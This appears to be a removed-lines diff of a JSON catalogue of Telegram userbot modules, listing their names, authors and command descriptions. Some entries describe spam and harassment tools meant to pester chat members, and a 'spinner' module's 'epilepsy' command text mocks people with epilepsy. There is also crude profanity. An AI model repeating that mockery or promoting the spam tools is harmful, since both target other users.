"banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", - "developer": "@codrago_m, @exttasy1" - }, - "commands": [ - { - "pmban": "| ban in PM for time" - }, - { - "pmunban": "| unban in PM" - } - ], - "new_commands": [ - { - "pmban": { - "ru_doc": null, - "en_doc": null, - "doc": "| ban in PM for time" - } - }, - { - "pmunban": { - "ru_doc": null, - "en_doc": null, - "doc": "| unban in PM" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "N3rcy/modules/GameInfo.py": { - "name": "GameInfo", - "description": "Module for fetching game information from RAWG", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "gameinfo": "Fetch game information from RAWG Получить информацию об игре <название игры>" - } - ], - "new_commands": [ - { - "gameinfo": { - "ru_doc": "Получить информацию об игре <название игры>", - "en_doc": null, - "doc": "Fetch game information from RAWG" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "N3rcy/modules/progmusic.py": { - "name": "MusicModule", - "description": "Module for music for programming from https://musicforprogramming.net/", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "prmusic": "Send music for programming send random chill music" - } - ], - "new_commands": [ - { - "prmusic": { - "ru_doc": null, - "en_doc": "send random chill music", - "doc": "Send music for programming" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "N3rcy/modules/jikan.py": { - "name": "JikanModule", - "description": "Module for working with Jikan API", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "sanime": "Search for anime by title Поиск аниме по названию Search for anime by title" - }, - { - "smanga": "Search manga by title Поиск манги по названию Search manga by title" - }, - { - "scharacter": "Search character by name Поиск персонажа по имени Search character by name" - }, - { - "rсanime": "Get anime recommendations Получить рекомендации аниме Get anime recommendations" - }, - { - "rсmanga": "Get manga recommendations Получить рекомендации манги Get manga recommendations" - }, - { - "ranime": "Random anime Случайное аниме Random anime" - }, - { - "rmanga": "Random manga Случайная манга Random manga" - } - ], - "new_commands": [ - { - "sanime": { - "ru_doc": "Поиск аниме по названию", - "en_doc": "Search for anime by title", - "doc": "Search for anime by title" - } - }, - { - "smanga": { - "ru_doc": "Поиск манги по названию", - "en_doc": "Search manga by title", - "doc": "Search manga by title" - } - }, - { - "scharacter": { - "ru_doc": "Поиск персонажа по имени", - "en_doc": "Search character by name", - "doc": "Search character by name" - } - }, - { - "rсanime": { - "ru_doc": "Получить рекомендации аниме", - "en_doc": "Get anime recommendations", - "doc": "Get anime recommendations" - } - }, - { - "rсmanga": { - "ru_doc": "Получить рекомендации манги", - "en_doc": "Get manga recommendations", - "doc": "Get manga recommendations" - } - }, - { - "ranime": { - "ru_doc": "Случайное аниме", - "en_doc": "Random anime", - "doc": "Random anime" - } - }, - { - "rmanga": { - "ru_doc": "Случайная манга", - "en_doc": "Random manga", - "doc": "Random manga" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "N3rcy/modules/github.py": { - "name": "GitHubMod", - "description": "Module for fetching GitHub profile or repository information", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "gitprof": "<profile / url> - Fetch information about GitHub profile <profile / url> - Fetch information about GitHub profile" - }, - { - "gitrepo": "Fetch information about GitHub repository Fetch information about GitHub repository" - } - ], - "new_commands": [ - { - "gitprof": { - "ru_doc": null, - "en_doc": "<profile / url> - Fetch information about GitHub profile", - "doc": "<profile / url> - Fetch information about GitHub profile" - } - }, - { - "gitrepo": { - "ru_doc": "Fetch information about GitHub repository", - "en_doc": null, - "doc": "Fetch information about GitHub repository" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "N3rcy/modules/whisper.py": { - "name": "WhisperMod", - "description": "Module for speech recognition", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "whisper": "Transcribe speech from a voice/video message in reply using openai api распознать речь из голосового/видео сообщения в реплае, используя openai api" - }, - { - "autowhspr": "Enable/disable auto-speech recognition for voice and video messages включить/выключить автораспознавание голосовых и видео сообщений в чате где введена команда" - }, - { - "hfwhisper": "Transcribe speech from a voice/video message in reply using hugging face api распознать речь из голосового/видео сообщения в реплае, используя hugging face api" - }, - { - "hfautowhspr": "Enable/disable auto-speech recognition using Hugging Face API включить/выключить автораспознавание через Hugging Face API в текущем чате" - }, - { - "hfguide": "гайд как получить hugging face токен guide how to get hugging face token" - } - ], - "new_commands": [ - { - "whisper": { - "ru_doc": "распознать речь из голосового/видео сообщения в реплае, используя openai api", - "en_doc": null, - "doc": "Transcribe speech from a voice/video message in reply using openai api" - } - }, - { - "autowhspr": { - "ru_doc": "включить/выключить автораспознавание голосовых и видео сообщений в чате где введена команда", - "en_doc": null, - "doc": "Enable/disable auto-speech recognition for voice and video messages" - } - }, - { - "hfwhisper": { - "ru_doc": "распознать речь из голосового/видео сообщения в реплае, используя hugging face api", - "en_doc": null, - "doc": "Transcribe speech from a voice/video message in reply using hugging face api" - } - }, - { - "hfautowhspr": { - "ru_doc": "включить/выключить автораспознавание через Hugging Face API в текущем чате", - "en_doc": null, - "doc": "Enable/disable auto-speech recognition using Hugging Face API" - } - }, - { - "hfguide": { - "ru_doc": "гайд как получить hugging face токен", - "en_doc": "guide how to get hugging face token", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "N3rcy/modules/emoji.py": { - "name": "EmojiInfo", - "description": "Module for retrieving information about emojis from emojipedia.org", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "emoji": "Retrieve information about an emoji Получить информацию об эмодзи" - } - ], - "new_commands": [ - { - "emoji": { - "ru_doc": "Получить информацию об эмодзи", - "en_doc": null, - "doc": "Retrieve information about an emoji" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "N3rcy/modules/watch.py": { - "name": "WatcherModule", - "description": "Module for watching and responding to specific words", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "addwatch": "Add a word to be watched Добавить отслеживание слова" - }, - { - "rmwatch": "Remove a word from being watched Удалить отслеживание слова" - }, - { - "listwatches": "Show the list of watched words Показать список отслеживаемых слов" - } - ], - "new_commands": [ - { - "addwatch": { - "ru_doc": "Добавить отслеживание слова", - "en_doc": null, - "doc": "Add a word to be watched" - } - }, - { - "rmwatch": { - "ru_doc": "Удалить отслеживание слова", - "en_doc": null, - "doc": "Remove a word from being watched" - } - }, - { - "listwatches": { - "ru_doc": "Показать список отслеживаемых слов", - "en_doc": null, - "doc": "Show the list of watched words" - } - } - ], - "category": [ - "Chat", - "Customization" - ] - }, - "N3rcy/modules/ocr.py": { - "name": "OCRMod", - "description": "Module for Optical Character Recognition", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "ocr": "Recognize text from an image in reply Распознать текст на фото из реплая Recognize text from an image in reply" - } - ], - "new_commands": [ - { - "ocr": { - "ru_doc": "Распознать текст на фото из реплая", - "en_doc": "Recognize text from an image in reply", - "doc": "Recognize text from an image in reply" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "N3rcy/modules/top.py": { - "name": "Top", - "description": "Module for viewing the top list in chat", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "top": "View top in the chat Посмотреть топ в чате" - } - ], - "new_commands": [ - { - "top": { - "ru_doc": "Посмотреть топ в чате", - "en_doc": null, - "doc": "View top in the chat" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "N3rcy/modules/twitch.py": { - "name": "TwitchModule", - "description": "Module for downloading Twitch clips and videos", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "twitch": "Download a clip from Twitch Скачать клип с Twitch" - }, - { - "twitchvideo": "Download a video from Twitch Скачать видео с Twitch" - } - ], - "new_commands": [ - { - "twitch": { - "ru_doc": "Скачать клип с Twitch", - "en_doc": null, - "doc": "Download a clip from Twitch" - } - }, - { - "twitchvideo": { - "ru_doc": "Скачать видео с Twitch", - "en_doc": null, - "doc": "Download a video from Twitch" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "N3rcy/modules/news.py": { - "name": "NewsMod", - "description": "Module for displaying news from various sources", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "playground": "Get the latest news from Playground Получить последние новости с Playground" - }, - { - "bbc": "Get the latest news from BBC Получить последние новости с BBC" - }, - { - "cnn": "Get the latest news from CNN Получить последние новости с CNN" - }, - { - "guardian": "Get the latest news from The Guardian Получить последние новости с The Guardian" - }, - { - "lemonde": "Get the latest news from Le Monde Получить последние новости с Le Monde" - }, - { - "ria": "Get the latest news from RIA Получить последние новости с Риа новости" - }, - { - "rbc": "Get the latest news from rbc Получить последние новости с Рбк новости" - }, - { - "lenta": "Get the latest news from lenta Получить последние новости с Lenta" - } - ], - "new_commands": [ - { - "playground": { - "ru_doc": "Получить последние новости с Playground", - "en_doc": null, - "doc": "Get the latest news from Playground" - } - }, - { - "bbc": { - "ru_doc": "Получить последние новости с BBC", - "en_doc": null, - "doc": "Get the latest news from BBC" - } - }, - { - "cnn": { - "ru_doc": "Получить последние новости с CNN", - "en_doc": null, - "doc": "Get the latest news from CNN" - } - }, - { - "guardian": { - "ru_doc": "Получить последние новости с The Guardian", - "en_doc": null, - "doc": "Get the latest news from The Guardian" - } - }, - { - "lemonde": { - "ru_doc": "Получить последние новости с Le Monde", - "en_doc": null, - "doc": "Get the latest news from Le Monde" - } - }, - { - "ria": { - "ru_doc": "Получить последние новости с Риа новости", - "en_doc": null, - "doc": "Get the latest news from RIA" - } - }, - { - "rbc": { - "ru_doc": "Получить последние новости с Рбк новости", - "en_doc": null, - "doc": "Get the latest news from rbc" - } - }, - { - "lenta": { - "ru_doc": "Получить последние новости с Lenta", - "en_doc": null, - "doc": "Get the latest news from lenta" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "N3rcy/modules/clown.py": { - "name": "ClownModule", - "description": "Модуль для клоунизации 'pov - <username>'", - "meta": { - "pic": null, - "banner": null, - "developer": "@nercymods" - }, - "commands": [ - { - "clown": "Добавляет текст поверх видео Сделать клавном <ник> или реплай" - } - ], - "new_commands": [ - { - "clown": { - "ru_doc": "Сделать клавном <ник> или реплай", - "en_doc": null, - "doc": "Добавляет текст поверх видео" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/_base64.py": { - "name": "base64Mod", - "description": "Кодирование и декодирование base64", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "b64encodecmd": ".b64encode <(text or media) or (reply to text or media)>" - }, - { - "b64decodecmd": ".b64decode <text or reply to text>" - } - ], - "new_commands": [ - { - "b64encode": { - "ru_doc": null, - "en_doc": null, - "doc": ".b64encode <(text or media) or (reply to text or media)>" - } - }, - { - "b64decode": { - "ru_doc": null, - "en_doc": null, - "doc": ".b64decode <text or reply to text>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/0x.py": { - "name": "x0Mod", - "description": "Uploader", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "x0cmd": "" - } - ], - "new_commands": [ - { - "x0": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/datamosh.py": { - "name": "DataMoshMod", - "description": "DataMosh effect to video", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "datamoshcmd": ". datamosh lvl: int <reply to video>" - } - ], - "new_commands": [ - { - "datamosh": { - "ru_doc": null, - "en_doc": null, - "doc": ". datamosh lvl: int <reply to video>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/SuperDemotivator.py": { - "name": "DeMoTiVaToRsMod", - "description": "Демотиваторы на картинки от @SomeScripts by @DneZyeK", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "demoticmd": "текст + фото или ответ на фото\nне мнёт фотки" - }, - { - "demotcmd": "текст + фото или ответ на фото\nмнёт фотки" - } - ], - "new_commands": [ - { - "demoti": { - "ru_doc": null, - "en_doc": null, - "doc": "текст + фото или ответ на фото\nне мнёт фотки" - } - }, - { - "demot": { - "ru_doc": null, - "en_doc": null, - "doc": "текст + фото или ответ на фото\nмнёт фотки" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/SpeedRead.py": { - "name": "SpeedReadMod", - "description": "каждое слово раз в 100мс", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "srcmd": ".sr <text or reply>" - } - ], - "new_commands": [ - { - "sr": { - "ru_doc": null, - "en_doc": null, - "doc": ".sr <text or reply>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/help.py": { - "name": "HelpMod", - "description": "Provides this help message", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "helpcmd": ".help [module]" - }, - { - "KeyZenDcmd": "ДА Я ЗНАЮ ЧТО Я ОХУЕЛ НО МНЕ ПОХУЙ, МОЙ ХЕЛП!" - } - ], - "new_commands": [ - { - "help": { - "ru_doc": null, - "en_doc": null, - "doc": ".help [module]" - } - }, - { - "KeyZenD": { - "ru_doc": null, - "en_doc": null, - "doc": "ДА Я ЗНАЮ ЧТО Я ОХУЕЛ НО МНЕ ПОХУЙ, МОЙ ХЕЛП!" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/MTF.py": { - "name": "MTFMod", - "description": "send Message as file", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "mtfcmd": ".mtf <reply to text>" - }, - { - "ftmcmd": ".ftm <reply to file>" - } - ], - "new_commands": [ - { - "mtf": { - "ru_doc": null, - "en_doc": null, - "doc": ".mtf <reply to text>" - } - }, - { - "ftm": { - "ru_doc": null, - "en_doc": null, - "doc": ".ftm <reply to file>" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "KeyZenD/modules/leave.py": { - "name": "LeaveMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "leavecmd": ".leave" - } - ], - "new_commands": [ - { - "leave": { - "ru_doc": null, - "en_doc": null, - "doc": ".leave" - } - } - ], - "category": [ - "Chat", - "Automation" - ] - }, - "KeyZenD/modules/MacAshoT.py": { - "name": "aMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "maccmd": "" - } - ], - "new_commands": [ - { - "mac": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/keyboard_lagre.py": { - "name": "CodefyMod", - "description": "Makes message monospace", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "keyboardcmd": ".keyboard <text or reply>" - } - ], - "new_commands": [ - { - "keyboard": { - "ru_doc": null, - "en_doc": null, - "doc": ".keyboard <text or reply>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/filename.py": { - "name": "filenameMod", - "description": "filename changer", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "filenamecmd": ".filename <filename> + reply.file" - } - ], - "new_commands": [ - { - "filename": { - "ru_doc": null, - "en_doc": null, - "doc": ".filename <filename> + reply.file" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/ttdl.py": { - "name": "TikTokDlMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "ttcmd": "" - } - ], - "new_commands": [ - { - "tt": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/hyi.py": { - "name": "Ебал_я_в_рот_ваш_пеп_8_Mod", - "description": "Гавно залупное", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "хуйcmd": "" - }, - { - "хуйняcmd": "" - } - ], - "new_commands": [ - { - "хуй": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "хуйня": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "KeyZenD/modules/MirrorFlip.py": { - "name": "MFMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "llcmd": "" - }, - { - "rrcmd": "" - }, - { - "uucmd": "" - }, - { - "ddcmd": "" - } - ], - "new_commands": [ - { - "ll": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "rr": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "uu": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "dd": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "KeyZenD/modules/Lines50.py": { - "name": "Lines50Mod", - "description": "Draw photo with 50 lines via @Lines50Bot", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "linescmd": ".lines <reply to photo>" - } - ], - "new_commands": [ - { - "lines": { - "ru_doc": null, - "en_doc": null, - "doc": ".lines <reply to photo>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/family.py": { - "name": "FamilyMod", - "description": "Quote a message", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "familycmd": "" - } - ], - "new_commands": [ - { - "family": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/kicklast.py": { - "name": "KickLastMod", - "description": "Удаляет из чата последних Х зашедших", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "botkicklastcmd": ".botkicklst <количество> <юзернейм, если канал> - Кикает при помощи тг бота" - }, - { - "kicklastcmd": ".kicklst <количество> <юзернейм, если канал> - Кикает юзерботом" - } - ], - "new_commands": [ - { - "botkicklast": { - "ru_doc": null, - "en_doc": null, - "doc": ".botkicklst <количество> <юзернейм, если канал> - Кикает при помощи тг бота" - } - }, - { - "kicklast": { - "ru_doc": null, - "en_doc": null, - "doc": ".kicklst <количество> <юзернейм, если канал> - Кикает юзерботом" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/scrs.py": { - "name": "ScrSpamMod", - "description": "Screenshot Spammer by @KeyZenD", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "scrscmd": ".scrs <amount>" - } - ], - "new_commands": [ - { - "scrs": { - "ru_doc": null, - "en_doc": null, - "doc": ".scrs <amount>" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/demot.py": { - "name": "DemoterMod", - "description": "Демотиваторы", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "demotcmd": "" - } - ], - "new_commands": [ - { - "demot": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/Switcher.py": { - "name": "KeyboardSwitcherMod", - "description": "Смена расскаладки клавиатуры у текста", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "switchcmd": "Если ты допустил ошибку и набрал текст не сменив раскладку клавиатуры\nто вернись в его начало и допиши `.switch` и твой текст станет читабельным.\nЕсли ты всё же отправил сообщение не в той расскладке, то просто ответь на него этой командой и он измениться.\nесли же твой собеседник допустил ошибку, то просто ответь на его сообщение и сообщение с командой измениться." - } - ], - "new_commands": [ - { - "switch": { - "ru_doc": null, - "en_doc": null, - "doc": "Если ты допустил ошибку и набрал текст не сменив раскладку клавиатуры\nто вернись в его начало и допиши `.switch` и твой текст станет читабельным.\nЕсли ты всё же отправил сообщение не в той расскладке, то просто ответь на него этой командой и он измениться.\nесли же твой собеседник допустил ошибку, то просто ответь на его сообщение и сообщение с командой измениться." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/gg.gg.py": { - "name": "GGdotGGMod", - "description": "Сокращение ссылок через сервис gg.gg", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "ggcmd": ".gg <длинная ссылка или реплай на ссылку> " - } - ], - "new_commands": [ - { - "gg": { - "ru_doc": null, - "en_doc": null, - "doc": ".gg <длинная ссылка или реплай на ссылку> " - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/calc.py": { - "name": "КукуляторMod", - "description": "Кукулирует вырожения", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "calccmd": ".calc <выражение или реплай на то, что нужно посчитать>\nКстати:\n** - возвести в степень\n/ - деление\n% - деление по модулю" - } - ], - "new_commands": [ - { - "calc": { - "ru_doc": null, - "en_doc": null, - "doc": ".calc <выражение или реплай на то, что нужно посчитать>\nКстати:\n** - возвести в степень\n/ - деление\n% - деление по модулю" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/Swiper.py": { - "name": "SwiperMod", - "description": "Swiper", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "sl2rcmd": "swipe left to right" - }, - { - "sr2lcmd": "swipe right to left" - }, - { - "su2dcmd": "swipe up to down" - }, - { - "sd2ucmd": "swipe down to up" - } - ], - "new_commands": [ - { - "sl2r": { - "ru_doc": null, - "en_doc": null, - "doc": "swipe left to right" - } - }, - { - "sr2l": { - "ru_doc": null, - "en_doc": null, - "doc": "swipe right to left" - } - }, - { - "su2d": { - "ru_doc": null, - "en_doc": null, - "doc": "swipe up to down" - } - }, - { - "sd2u": { - "ru_doc": null, - "en_doc": null, - "doc": "swipe down to up" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "KeyZenD/modules/admin_tools.py": { - "name": "BanMod", - "description": "Админтулс", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "bancmd": "Бан в чате" - }, - { - "unbancmd": "Разбан в чате" - }, - { - "kickcmd": "Кикнуть из чата" - }, - { - "promotecmd": "Дать админку" - }, - { - "demotecmd": "Снять админку" - } - ], - "new_commands": [ - { - "ban": { - "ru_doc": null, - "en_doc": null, - "doc": "Бан в чате" - } - }, - { - "unban": { - "ru_doc": null, - "en_doc": null, - "doc": "Разбан в чате" - } - }, - { - "kick": { - "ru_doc": null, - "en_doc": null, - "doc": "Кикнуть из чата" - } - }, - { - "promote": { - "ru_doc": null, - "en_doc": null, - "doc": "Дать админку" - } - }, - { - "demote": { - "ru_doc": null, - "en_doc": null, - "doc": "Снять админку" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "KeyZenD/modules/pung.py": { - "name": "PingerMod", - "description": "более точный пинг", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "pingcmd": "пингует" - } - ], - "new_commands": [ - { - "ping": { - "ru_doc": null, - "en_doc": null, - "doc": "пингует" - } - } - ], - "category": [ - "Tools", - "Networking" - ] - }, - "KeyZenD/modules/BlackLines.py": { - "name": "BlackLinesMod", - "description": "Draw line via @BlackLinesBot", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "linecmd": ".line <reply to photo>" - } - ], - "new_commands": [ - { - "line": { - "ru_doc": null, - "en_doc": null, - "doc": ".line <reply to photo>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/ticker.py": { - "name": "TickerMod", - "description": "Makes your messages type slower", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "tickercmd": ".ticker <message>" - } - ], - "new_commands": [ - { - "ticker": { - "ru_doc": null, - "en_doc": null, - "doc": ".ticker <message>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/Glitcher.py": { - "name": "GlitcherMod", - "description": "Glitcher of anything", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "glitchcmd": ".glitch level: float or int <reply to anything>" - } - ], - "new_commands": [ - { - "glitch": { - "ru_doc": null, - "en_doc": null, - "doc": ".glitch level: float or int <reply to anything>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/noterminal.py": { - "name": "noTerminalMod", - "description": "Runs commands", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "noterminalcmd": "Gets the note specified" - }, - { - "noterminatecmd": "Use in reply to send SIGTERM to a process" - }, - { - "nokillcmd": "Use in reply to send SIGKILL to a process" - } - ], - "new_commands": [ - { - "noterminal": { - "ru_doc": null, - "en_doc": null, - "doc": "Gets the note specified" - } - }, - { - "noterminate": { - "ru_doc": null, - "en_doc": null, - "doc": "Use in reply to send SIGTERM to a process" - } - }, - { - "nokill": { - "ru_doc": null, - "en_doc": null, - "doc": "Use in reply to send SIGKILL to a process" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/заёбушка2.0.py": { - "name": "ЗаёбушкаMod", - "description": "Заебет любого", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "заебуcmd": ".заебу <колличество> <реплай на того, кого заебать>" - } - ], - "new_commands": [ - { - "заебу": { - "ru_doc": null, - "en_doc": null, - "doc": ".заебу <колличество> <реплай на того, кого заебать>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/notexec.py": { - "name": "ExecutorMod", - "description": "Stores global notes (aka snips)", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "notexeccmd": "Gets the note specified" - } - ], - "new_commands": [ - { - "notexec": { - "ru_doc": null, - "en_doc": null, - "doc": "Gets the note specified" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "KeyZenD/modules/python.py": { - "name": "PythonMod", - "description": "Python stuff", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "evalcmd": ".eval <expression>\nEvaluates python code" - }, - { - "execcmd": ".exec <expression>\nExecutes python code" - } - ], - "new_commands": [ - { - "eval": { - "ru_doc": null, - "en_doc": null, - "doc": ".eval <expression>\nEvaluates python code" - } - }, - { - "exec": { - "ru_doc": null, - "en_doc": null, - "doc": ".exec <expression>\nExecutes python code" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "KeyZenD/modules/spinner.py": { - "name": "SpinnerMod", - "description": "Гавно залупное", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "spincmd": "you spin me round..." - }, - { - "epilepsycmd": "ПРИВЕТ ЭПИЛЕТИКИ АХАХАХХА" - } - ], - "new_commands": [ - { - "spin": { - "ru_doc": null, - "en_doc": null, - "doc": "you spin me round..." - } - }, - { - "epilepsy": { - "ru_doc": null, - "en_doc": null, - "doc": "ПРИВЕТ ЭПИЛЕТИКИ АХАХАХХА" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/SuperDemotivator.V2.py": { - "name": "DeMoTiVaToRsMod", - "description": "Демотиваторы на картинки от @SomeScripts by @DneZyeK", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "demoticmd": "текст + фото или ответ на фото\nне мнёт фотки" - }, - { - "demotcmd": "текст + фото или ответ на фото\nмнёт фотки" - } - ], - "new_commands": [ - { - "demoti": { - "ru_doc": null, - "en_doc": null, - "doc": "текст + фото или ответ на фото\nне мнёт фотки" - } - }, - { - "demot": { - "ru_doc": null, - "en_doc": null, - "doc": "текст + фото или ответ на фото\nмнёт фотки" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/tagall.py": { - "name": "TagallMod", - "description": "Tagall", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "tagallcmd": "" - } - ], - "new_commands": [ - { - "tagall": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/ph.py": { - "name": "UploadPHMod", - "description": "Upload video and photo to telegra.ph", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "phcmd": ".ph <reply photo or video>" - } - ], - "new_commands": [ - { - "ph": { - "ru_doc": null, - "en_doc": null, - "doc": ".ph <reply photo or video>" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "KeyZenD/modules/hearts.py": { - "name": "HeartsMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "heartscmd": "" - } - ], - "new_commands": [ - { - "hearts": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/webshot.py": { - "name": "WebShotMod", - "description": "link to screen", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "webshotcmd": "" - } - ], - "new_commands": [ - { - "webshot": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KeyZenD/modules/codefy.py": { - "name": "CodefyMod", - "description": "Makes message monospace", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "codecmd": ".code <text or reply>" - } - ], - "new_commands": [ - { - "code": { - "ru_doc": null, - "en_doc": null, - "doc": ".code <text or reply>" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KeyZenD/modules/rysianskiy.py": { - "name": "RysianskiyMod", - "description": "Perevodit rysskiy na rysianskiy yazyk", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "rysianskiycmd": ".rysianskiy <tekst ili replay na tekst>" - } - ], - "new_commands": [ - { - "rysianskiy": { - "ru_doc": null, - "en_doc": null, - "doc": ".rysianskiy <tekst ili replay na tekst>" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "KeyZenD/modules/valute.py": { - "name": "ValitesMod", - "description": "Valute converter", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "valutecmd": ".valute <Valute char code (optional)>" - } - ], - "new_commands": [ - { - "valute": { - "ru_doc": null, - "en_doc": null, - "doc": ".valute 